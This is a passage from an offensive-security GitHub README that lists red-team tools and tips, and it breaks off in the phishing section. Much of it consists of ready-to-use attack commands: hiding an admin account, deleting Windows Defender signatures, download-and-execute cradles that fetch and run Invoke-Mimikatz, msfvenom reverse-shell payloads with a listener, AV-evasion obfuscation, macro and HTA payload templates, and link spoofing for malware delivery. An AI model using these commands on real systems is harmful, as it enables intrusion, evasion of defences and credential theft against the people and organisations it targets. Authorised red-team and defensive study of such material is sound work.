RedTeam-Tools

This github repository contains a collection of 130+ tools and resources that can be useful for red teaming activities.

Some of the tools may be specifically designed for red teaming, while others are more general-purpose and can be adapted for use in a red teaming context.

🔗 If you are a Blue Teamer, check out BlueTeam-Tools

Warning

The materials in this repository are for informational and educational purposes only. They are not intended for use in any illegal activities.

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Tool List

Red Team Tips 17 tips

Hiding the local admin account @Alh4zr3d
Cripple windows defender by deleting signatures @Alh4zr3d
Enable multiple RDP sessions per user @Alh4zr3d
Sysinternals PsExec.exe local alternative @GuhnooPlusLinux
Live off the land port scanner @Alh4zr3d
Proxy aware PowerShell DownloadString @Alh4zr3d
Looking for internal endpoints in browser bookmarks @Alh4zr3d
Query DNS records for enumeration @Alh4zr3d
Unquoted service paths without PowerUp @Alh4zr3d
Bypass a disabled command prompt with /k Martin Sohn Christensen
Stop windows defender deleting mimikatz.exe @GuhnooPlusLinux
Check if you are in a virtual machine @dmcxblue
Enumerate AppLocker rules @Alh4zr3d
CMD shortcut with 6 pixels via mspaint PenTestPartners
Link spoofing with PreventDefault JavaScript method
Check SMB firewall rules with Responder @malmoeb
Disable AV with SysInternals PsSuspend @0gtweet

Reconnaissance 20 tools

crt.sh -> httprobe -> EyeWitness Automated domain screenshotting
jsendpoints Extract page DOM links
nuclei Vulnerability scanner
certSniff Certificate transparency log keyword sniffer
gobuster Website path brute force
feroxbuster Fast content discovery tool written in Rust
CloudBrute Cloud infrastructure brute force
dnsrecon Enumerate DNS records
Shodan.io Public facing system knowledge base
AORT (All in One Recon Tool) Subdomain enumeration
spoofcheck SPF/DMARC record checker
AWSBucketDump S3 bucket enumeration
GitHarvester GitHub credential searcher
truffleHog GitHub credential scanner
Dismap Asset discovery/identification
enum4linux Windows/samba enumeration
skanuvaty Dangerously fast dns/network/port scanner
Metabigor OSINT tool without API
Gitrob GitHub sensitive information scanner
gowitness Web screenshot utility using Chrome Headless

Resource Development 11 tools

Chimera PowerShell obfuscation
msfvenom Payload creation
Shellter Dynamic shellcode injection tool
Freeze Payload creation (circumventing EDR)
WordSteal Steal NTML hashes with Microsoft Word
NTAPI Undocumented Functions Windows NT Kernel, Native API and drivers
Kernel Callback Functions Undocumented Windows APIs
OffensiveVBA Office macro code execution and evasion techniques
WSH Wsh payload
HTA Hta payload
VBA Vba payload

Initial Access 6 tools

Bash Bunny USB attack tool
EvilGoPhish Phishing campaign framework
The Social-Engineer Toolkit Phishing campaign framework
Hydra Brute force tool
SquarePhish OAuth/QR code phishing framework
King Phisher Phishing campaign framework

Execution 13 tools

Responder LLMNR, NBT-NS and MDNS poisoner
secretsdump Remote hash dumper
evil-winrm WinRM shell
Donut In-memory .NET execution
Macro_pack Macro obfuscation
PowerSploit PowerShell script suite
Rubeus Active directory hack tool
SharpUp Windows vulnerability identifier
SQLRecon Offensive MS-SQL toolkit
UltimateAppLockerByPassList Common AppLocker Bypass Techniques
StarFighters JavaScript and VBScript Based Empire Launcher
demiguise HTA encryption tool
PowerZure PowerShell framework to assess Azure security

Persistence 4 tools

Impacket Python script suite
Empire Post-exploitation framework
SharPersist Windows persistence toolkit
ligolo-ng Tunneling tool that uses a TUN interface

Privilege Escalation 10 tools

LinPEAS Linux privilege escalation
WinPEAS Windows privilege escalation
linux-smart-enumeration Linux privilege escalation
Certify Active directory privilege escalation
Get-GPPPassword Windows password extraction
Sherlock PowerShell privilege escalation tool
Watson Windows privilege escalation tool
ImpulsiveDLLHijack DLL Hijack tool
ADFSDump AD FS dump tool
BeRoot Multi OS Privilege Escalation Project

Defense Evasion 8 tools

Invoke-Obfuscation Script obfuscator
Veil Metasploit payload obfuscator
SharpBlock EDR bypass via entry point execution prevention
Alcatraz GUI x64 binary obfuscator
Mangle Compiled executable manipulation
AMSI Fail PowerShell snippets that break or disable AMSI
ScareCrow Payload creation framework designed around EDR bypass
moonwalk Linux system log and filesystem timestamp remover

Credential Access 11 tools

Mimikatz Windows credential extractor
LaZagne Local password extractor
hashcat Password hash cracking
John the Ripper Password hash cracking
SCOMDecrypt SCOM Credential Decryption Tool
nanodump LSASS process minidump creation
eviltree Tree remake for credential discovery
SeeYouCM-Thief Cisco phone systems configuration file parsing
MailSniper Microsoft Exchange Mail Searcher
SharpChromium Cookie, history and saved login chromium extractor
dploot DPAPI looting remotely in Python

Discovery 6 tools

PCredz Credential discovery PCAP/live interface
PingCastle Active directory assessor
Seatbelt Local vulnerability scanner
ADRecon Active directory recon
adidnsdump Active Directory Integrated DNS dumping
scavenger Scanning tool for scavenging systems

Lateral Movement 12 tools

crackmapexec Windows/Active directory lateral movement toolkit
WMIOps WMI remote commands
PowerLessShell Remote PowerShell without PowerShell
PsExec Light-weight telnet-replacement
LiquidSnake Fileless lateral movement
Enabling RDP Windows RDP enable command
Upgrading shell to meterpreter Reverse shell improvement
Forwarding Ports Local port forward command
Jenkins reverse shell Jenkins shell command
ADFSpoof Forge AD FS security tokens
kerbrute A tool to perform Kerberos pre-auth bruteforcing
Coercer Coerce a Windows server to authenticate
WMIOps WMI remote commands

Collection 3 tools

BloodHound Active directory visualisation
Snaffler Active directory credential collector
linWinPwn Active Directory Enumeration and Vulnerability checks

Command and Control 9 tools

Living Off Trusted Sites Project Leverage legitimate domains for your C2
Havoc Command and control framework
Covenant Command and control framework (.NET)
Merlin Command and control framework (Golang)
Metasploit Framework Command and control framework (Ruby)
Pupy Command and control framework (Python)
Brute Ratel Command and control framework ($$$)
NimPlant C2 implant written in Nim
Hoaxshell PowerShell reverse shell

Exfiltration 5 tools

Dnscat2 C2 via DNS tunneling
Cloakify Data transformation for exfiltration
PyExfil Data exfiltration PoC
Powershell RAT Python based backdoor
GD-Thief Google drive exfiltration

Impact 4 tools

Conti Pentester Guide Leak Conti ransomware group affilate toolkit
SlowLoris Simple denial of service
usbkill Anti-forensic kill-switch
Keytap Get pressed keyboard keys from typing audio

Red Team Tips

Learn from Red Teamers with a collection of Red Teaming Tips. These tips cover a range of tactics, tools, and methodologies to improve your red teaming abilities.

Note: Nearly all tips are currently from @Alh4zr3d, he posts good Red Team Tips!

🔙Hiding the local admin account

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f

Description: 'Creating accounts is risky when evading blue, but when creating a local admin, use some cute sorcery in the registry to hide it.'

Credit: @Alh4zr3d

Link: Twitter

🔙Cripple windows defender by deleting signatures

"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Description: 'A bit messy, but if Windows Defender is causing you a big headache, rather than disabling it (which alerts the user), you should just neuter it by deleting all the signatures.'

Credit: @Alh4zr3d

Link: Twitter

🔙Enable multiple RDP sessions per user

reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f

Description: 'Sometimes you want to log in to a host via RDP or similar, but your user has an active session. Enable multiple sessions per user.'

Credit: @Alh4zr3d

Link: Twitter

🔙Sysinternals PsExec.exe local alternative

wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "

Description: 'Are you tired of uploading Sysinternals PsExec.exe when doing lateral movement? Windows has a better alternative preinstalled. Try this instead.'

Credit: @GuhnooPlusLinux

Link: Twitter

🔙Live off the land port scanner

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$_)) "Port $_ open"} 2>$null

Description: 'When possible, live off the land rather than uploading tools to machines (for many reasons). PowerShell/.NET help. Ex: simple port scanner in Powershell.'

Credit: @Alh4zr3d

Link: Twitter

🔙Proxy aware PowerShell DownloadString

$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")

Description: 'Most large orgs are using web proxies these days. The standard PowerShell download cradle is not proxy aware. Use this one.'

Credit: @Alh4zr3d

Link: Twitter

🔙Looking for internal endpoints in browser bookmarks

type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"

Description: 'You'd be surprised what you can find out from a user's bookmarks alone. Internal endpoints they can access, for instance.'

Credit: @Alh4zr3d

Link: Twitter

🔙Query DNS records for enumeration

Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>

Description: 'Enumeration is 95% of the game. However, launching tons of scans to evaluate the environment is very loud. Why not just ask the DC/DNS server for all DNS records?'

Credit: @Alh4zr3d

Link: Twitter

🔙Unquoted service paths without PowerUp

Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Description: 'Finding unquoted service paths without PowerUp'

Credit: @Alh4zr3d

Link: Twitter

🔙Bypass a disabled command prompt with /k

# Win+R (To bring up Run Box)
cmd.exe /k "whoami"

Description: 'This command prompt has been disabled by your administrator...' Can usually be seen in environments such as kiosks PCs, a quick hacky work around is to use /k via the windows run box. This will carry out the command and then show the restriction message, allowing for command execution.

Credit: Martin Sohn Christensen

Link: Blog

🔙Stop windows defender deleting mimikatz.exe

(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv

Description: 'Are you tired of Windows Defender deleting mimikatz.exe? Try this instead.'

Credit: @GuhnooPlusLinux

Link: Twitter

🔙Check if you are in a virtual machine

reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"

Description: 'Want to know if you are in a Virtual Machine? Query the registry Keys and find out!!! If any results show up then you are in a Virtual Machine.'

Credit: @dmcxblue

Link: Twitter

🔙Enumerate AppLocker rules

(Get-AppLockerPolicy -Local).RuleCollections

Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse

reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\

Description: 'AppLocker can be a pain. Enumerate to see how painful'

Credit: @Alh4zr3d

Link: Twitter

🔙CMD shortcut with 6 pixels via mspaint

Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels
Zoom in to make the following tasks easier
Using the colour picker, set pixels values to (from left to right):
- 1st: R: 10, G: 0, B: 0
- 2nd: R: 13, G: 10, B: 13
- 3rd: R: 100, G: 109, B: 99
- 4th: R: 120, G: 101, B: 46
- 5th: R: 0, G: 0, B: 101
- 6th: R: 0, G: 0, B: 0
Save it as 24-bit Bitmap (.bmp;.dib)
Change its extension from bmp to bat and run.

Description: 'An unusual, yet effective method of gaining a shell by creating a shortcut to cmd.exe by drawing certain colours in Microsoft Paint. Due to the encoding algorithm used to write BMP files, it is possible to dictate ASCII data written into a file by carefully selecting certain RGB colours.'

Credit: PenTestPartners

Link: Blog

🔙Link spoofing with PreventDefault JavaScript method

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>PreventDefault Example</title>
  </head>
  <body>
    <a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a>
  </body>
</html>

Description: Threat actors have been observed using this technique to trick victims into clicking spoofed in-page malware download links. Using the PreventDefault JavaScript method you can spoof the hover link to display a legit link google.com, but once clicked the victim will be redirected to your malicious link bing.com. Great for getting victims to download payloads via a controlled site.

Link: PreventDefault Docs

🔙Check SMB firewall rules with Responder

Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"

Description: 'When I do a Compromise Assessment, I often ask the customer if I can do a last quick check: Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$". If Responder could capture the hash, the firewall allows outgoing SMB connections'

Credit: @malmoeb

Link: Twitter

🔙Disable AV with SysInternals PsSuspend

Description: Using the Microsoft Sysinternals tool PsSuspend.exe it's possible to suspend some AV service executables. The Microsoft signed tool can be passed the PID or Name of a running service, it will suspend the process via the NtSuspendProcess Windows API.

Related Blog Post: Bypassing AV via Process Suspension with PsSuspend.exe

Link: Twitter

Reconnaissance

🔙crt.sh -> httprobe -> EyeWitness

I have put together a bash one-liner that:

Passively collects a list of subdomains from certificate associations (crt.sh)
Actively requests each subdomain to verify it's existence (httprobe)
Actively screenshots each subdomain for manual review (EyeWitness)

Usage:

domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web

Note: You must have httprobe, pup and EyeWitness installed and change 'DOMAIN_COM' to the target domain. You are able to run this script concurrently in terminal windows if you have multiple target root domains

🔙jsendpoints

A JavaScript bookmarklet for extracting all webpage endpoint links on a page.

Created by @renniepak, this JavaScript code snippet can be used to extract all endpoints (starting with /) from the current webpage DOM including all external script sources embedded on the webpage.

javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();

Usage (Bookmarklet)

Create a bookmarklet...

Right click your bookmark bar
Click 'Add Page'
Paste the above Javascript in the 'url' box
Click 'Save'

...then visit the victim page in the browser and click the bookmarklet.

Usage (Console)

Paste the above Javascript into the console window F12 and press enter.

🔙nuclei

Fast vulnerability scanner that uses .yaml templates to search for specific issues.

Install:

go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

Usage:

cat domains.txt | nuclei -t /PATH/nuclei-templates/

🔙certSniff

certSniff is a Certificate Transparency logs keyword watcher I wrote in Python. It uses the certstream library to watch for certificate creation logs that contain keywords, defined in a file.

You can set this running with several keywords relating to your victim domain, any certificate creations will be recorded and may lead to the discovery of domains you were previously unaware of.

Install:

git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt

Usage:

python3 certSniff.py -f example.txt

🔙gobuster

Nice tool for brute forcing file/folder paths on a victim website.

Install:

sudo apt install gobuster

Usage:

gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20

🔙feroxbuster

A tool designed to perform Forced Browsing, an attack where the aim is to enumerate and access resources that are not referenced by the web application, but are still accessible by an attacker.

Feroxbuster uses brute force combined with a wordlist to search for unlinked content in target directories. These resources may store sensitive information about web applications and operational systems, such as source code, credentials, internal network addressing, etc...

Install: (Kali)

sudo apt update && sudo apt install -y feroxbuster

Install: (Mac)

curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash

Install: (Windows)

Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V

For full installation instructions see here.

Usage:

# Add .pdf, .js, .html, .php, .txt, .json, and .docx to each url
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx

# Scan with headers
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"

# Read URLs from stdin
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files

# Proxy requests through burpsuite
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080

Full usage examples can be found here.

Image used from https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif

🔙CloudBrute

A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).

Features:

Cloud detection (IPINFO API and Source Code)
Fast (concurrent)
Cross Platform (windows, linux, mac)
User-Agent Randomization
Proxy Randomization (HTTP, Socks5)

Install:

Download the latest release for your system and follow the usage.

Usage:

# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

Image used from https://github.com/0xsha/CloudBrute

🔙dnsrecon

dnsrecon is a pyhton tool for enumerating DNS records (MX, SOA, NS, A, AAAA, SPF and TXT) and can provide a number of new associated victim hosts to pivot into from a single domain search.

Install:

sudo apt install dnsrecon

Usage:

dnsrecon -d google.com

🔙shodan.io

Shodan crawls public infrastructure and displays it in a searchable format. Using a company name, domain name, IP address it is possible to discover potentially vulnerable systems relating to your target via shodan.

🔙AORT

Tool for enumerating subdomains, enumerating DNS, WAF detection, WHOIS, port scan, wayback machine, email harvesting.

Install:

git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt

Usage:

python3 AORT.py -d google.com

🔙spoofcheck

A program that checks if a domain can be spoofed from. The program checks SPF and DMARC records for weak configurations that allow spoofing. Additionally it will alert if the domain has DMARC configuration that sends mail or HTTP requests on failed SPF/DKIM emails.

Domains are spoofable if any of the following conditions are met:

Lack of an SPF or DMARC record
SPF record never specifies ~all or -all
DMARC policy is set to p=none or is nonexistent

Install:

git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt

Usage:

./spoofcheck.py [DOMAIN]

🔙AWSBucketDump

AWSBucketDump is a tool to quickly enumerate AWS S3 buckets to look for interesting files. It's similar to a subdomain bruteforcer but is made specifically for S3 buckets and also has some extra features that allow you to grep for files, as well as download interesting files.

Install:

git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt

Usage:

usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]

optional arguments:
  -h, --help    show this help message and exit
  -D            Download files. This requires significant diskspace
  -d            If set to 1 or True, create directories for each host w/ results
  -t THREADS    number of threads
  -l HOSTLIST
  -g GREPWORDS  Provide a wordlist to grep for
  -m MAXSIZE    Maximum file size to download.

 python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1

🔙GitHarvester

Nice tool for finding information from GitHub with regex, with the ability to search specific GitHub users and/or projects.

Install:

git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester

Usage:

./githarvester.py

🔙truffleHog

TruffleHog is a tool that scans git repositories and looks for high-entropy strings and patterns that may indicate the presence of secrets, such as passwords and API keys. With TruffleHog, you can quickly and easily find sensitive information that may have been accidentally committed and pushed to a repository.

Install (Binaries): Link

Install (Go):

git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install

Usage:

trufflehog https://github.com/trufflesecurity/test_keys

🔙Dismap

Dismap is an asset discovery and identification tool. It can quickly identify protocols and fingerprint information such as web/tcp/udp, locate asset types, and is suitable for internal and external networks.

Dismap has a complete fingerprint rule base, currently including tcp/udp/tls protocol fingerprints and 4500+ web fingerprint rules, which can identify favicon, body, header, etc.

Install:

Dismap is a binary file for Linux, MacOS, and Windows. Go to Release to download the corresponding version to run:

# Linux or MacOS
chmod +x dismap-0.3-linux-amd64
./dismap-0.3-linux-amd64 -h

# Windows
dismap-0.3-windows-amd64.exe -h

Usage:

# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24

# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json

# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10

# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000

Image used from https://github.com/zhzyker/dismap

🔙enum4linux

A tool for enumerating information from Windows and Samba systems.

It can be used to gather a wide range of information, including:

Domain and domain controller information
Local user and group information
Shares and share permissions
Security policies
Active Directory information

Install: (Apt)

sudo apt install enum4linux

Install: (Git)

git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux

Usage:

# 'Do everything'
enum4linux.pl -a 192.168.2.55

# Obtain list of usernames (RestrictAnonymous = 0)
enum4linux.pl -U 192.168.2.55

# Obtain list of usernames (using authentication)
enum4linux.pl -u administrator -p password -U 192.168.2.55

# Get a list of groups and their members
enum4linux.pl -G 192.168.2.55

# Verbose scan 
enum4linux.pl -v 192.168.2.55

Full usage information can be found in this blog.

Image used from https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/

🔙skanuvaty

Dangerously fast dns/network/port scanner, created by Esc4iCEscEsc, written in rust.

You will need a subdomains file. E.g. Subdomain wordlist by Sublist3r.

Install:

Download the latest release from here.

# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists

Usage:

skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt

Image used from https://github.com/Esc4iCEscEsc/skanuvaty

🔙Metabigor

Metabigor is Intelligence tool, its goal is to do OSINT tasks and more but without any API key.

Main Features:

Searching information about IP Address, ASN and Organization.
Wrapper for running rustscan, masscan and nmap more efficient on IP/CIDR.
Finding more related domains of the target by applying various techniques (certificate, whois, Google Analytics, etc).
Get Summary about IP address (powered by @thebl4ckturtle)

Install:

go install github.com/j3ssie/metabigor@latest

Usage:

# discovery IP of a company/organization
echo "company" | metabigor net --org -o /tmp/result.txt

# Getting more related domains by searching for certificate info
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command

# Only run rustscan with full ports
echo '1.2.3.4/24' | metabigor scan -o result.txt

# Reverse Whois to find related domains
echo 'example.com' | metabigor related -s 'whois'

# Get Google Analytics ID directly from the URL
echo 'https://example.com' | metabigor related -s 'google-analytic'

Image used from https://github.com/j3ssie/metabigor

🔙Gitrob

Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github.

Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.

The findings will be presented through a web interface for easy browsing and analysis.

Note: Gitrob will need a Github access token in order to interact with the Github API. Create a personal access token and save it in an environment variable in your .bashrc or similar shell configuration file:

export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef

Install: (Go)

go get github.com/michenriksen/gitrob

Install: (Binary)

A precompiled version is available for each release.

Usage:

# Run against org
gitrob {org_name}

# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp

# Loading session from a file
gitrob -load ~/gitrob-session.json

Image used from https://www.uedbox.com/post/58828/

🔙gowitness

Gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to generate screenshots of web interfaces using the command line, with a handy report viewer to process results. Both Linux and macOS is supported, with Windows support mostly working.

Install: (Go)

go install github.com/sensepost/gowitness@latest

Full installation information can be found here.

Usage:

# Screenshot a single website
gowitness single https://www.google.com/

# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20

# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http

# Run the report server
gowitness report serve

Full usage information can be found here.

Image used from https://github.com/sensepost/gowitness

Resource Development

🔙Chimera

Chimera is a PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.

Install:

sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help

Usage:

./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

🔙msfvenom

Msfvenom allows the creation of payloads for various operating systems in a wide range of formats. It also supports obfuscation of payloads for AV bypass.

Set Up Listener

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-ip 
set LPORT listening-port 
run

Msfvenom Commands

PHP:

msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R

Windows:

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe

Linux:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

Java:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

HTA:

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta

🔙Shellter

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

It can be used in order to inject shellcode into native Windows applications (currently 32-bit applications only).

Shellter takes advantage of the original structure of the PE file and doesn’t apply any modification such as changing memory access permissions in sections (unless the user wants), adding an extra section with RWE access, and whatever would look dodgy under an AV scan.

Full README information can be found here.

Install: (Kali)

apt-get update
apt-get install shellter

Install: (Windows)

Visit the download page and install.

Usage:

Just pick a legit binary to backdoor and run Shellter.

Some nice tips can be found here.

Lots of community usage demos can be found here.

Image used from https://www.kali.org/tools/shellter/images/shellter.png

🔙Freeze

Freeze is a payload creation tool used for circumventing EDR security controls to execute shellcode in a stealthy manner.

Freeze utilizes multiple techniques to not only remove Userland EDR hooks, but to also execute shellcode in such a way that it circumvents other endpoint monitoring controls.

Install:

git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go

Usage:

  -I string
        Path to the raw 64-bit shellcode.
  -O string
        Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe.
  -console
        Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
  -encrypt
        Encrypts the shellcode using AES 256 encryption
  -export string
        For DLL Loaders Only - Specify a specific Export function for a loader to have.
  -process string
        The name of process to spawn. This process has to exist in C:\Windows\System32\. Example 'notepad.exe' (default "notepad.exe")
  -sandbox
        Enables sandbox evasion by checking:
                Is Endpoint joined to a domain?
                Does the Endpoint have more than 2 CPUs?
                Does the Endpoint have more than 4 gigs of RAM?
  -sha256
        Provides the SHA256 value of the loaders (This is useful for tracking)

Image used from https://www.blackhatethicalhacking.com/tools/freeze/

🔙WordSteal

This script will create a Microsoft Word Document with a remote image, allowing for the capture of NTML hashes from a remote victim endpoint.

Microsoft Word has the ability to include images from remote locations, including a remote image hosted on an attacker controlled SMB server. This gives you the opportunity to listen for, and capture, NTLM hashes that are sent when an authenticated victim opens the Word document and renders the image.

Install:

git clone https://github.com/0x09AL/WordSteal
cd WordSteal

Usage:

# Generate document containing 'test.jpg' and start listener
./main.py 127.0.0.1 test.jpg 1

# Generate document containing 'test.jpg' and do not start listener
./main.py 127.0.0.1 test.jpg 0\n

Image used from https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/

🔙NTAPI Undocumented Functions

This site provides information on undocumented Windows internals, system calls, data structures, and other low-level details of the Windows operating system.

It can be a valuable resource for individuals who want to explore the internals of Windows for various purposes, including vulnerability analysis, exploit development, and privilege escalation.

When developing exploits, understanding the internals of the target system is crucial. This site can help develop exploits by leveraging the low-level undocumented aspects of Windows.

Usage:

Visit http://undocumented.ntinternals.net/

Image used from http://undocumented.ntinternals.net/

🔙Kernel Callback Functions

This technical note provides a comprehensive list all the APIs exported by the Windows Kernel, for driver writes to register callback routines that are invoked by kernel components under various circumstances.

Most of these routines are documented in the Windows Driver Kit (WDK) but some of them are for use by in-box drivers.

The undocumented functions are described briefly whereas the documented ones are just listed here for reference.

Usage:

Visit https://codemachine.com/articles/kernel_callback_functions.html

Image used from https://codemachine.com

🔙OffensiveVBA

A collection of offensive techniques, scripts and useful links for achieving code execution and defense evasion via office macros.

Usage:

Visit https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo

Image used from https://github.com/S3cur3Th1sSh1t

🔙WSH

Creating payload:

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

Execute:

wscript payload.vbs
cscript.exe payload.vbs
wscript /e:VBScript payload.txt //If .vbs files are blacklisted

🔙HTA

Creating payload:

<html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

Execute: Run file

🔙VBA

Creating payload:

Sub calc()
	Dim payload As String
	payload = "calc.exe"
	CreateObject("Wscript.Shell").Run payload,0
End Sub

Execute: Set function to Auto_Open() in macro enabled document

Initial Access

🔙Bash Bunny

The Bash Bunny is a physical USB attack tool and multi-function payload delivery system. It is designed to be plugged into a computer's USB port and can be programmed to perform a variety of functions, including manipulating and exfiltrating data, installing malware, and bypassing security measures.

hackinglab: Bash Bunny – Guide

Hak5 Documentation

Nice Payload Repo

Product Page

🔙EvilGoPhish

evilginx2 + gophish. (GoPhish) Gophish is a powerful, open-source phishing framework that makes it easy to test your organization's exposure to phishing. (evilginx2) Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication

Install:

git clone https://github.com/fin3ss3g0d/evilgophish

Usage:

Usage:
./setup <root domain> <subdomain(s)> <root domain bool> <redirect url> <feed bool> <rid replacement> <blacklist bool>
 - root domain                     - the root domain to be used for the campaign
 - subdomains                      - a space separated list of evilginx2 subdomains, can be one if only one
 - root domain bool                - true or false to proxy root domain to evilginx2
 - redirect url                    - URL to redirect unauthorized Apache requests
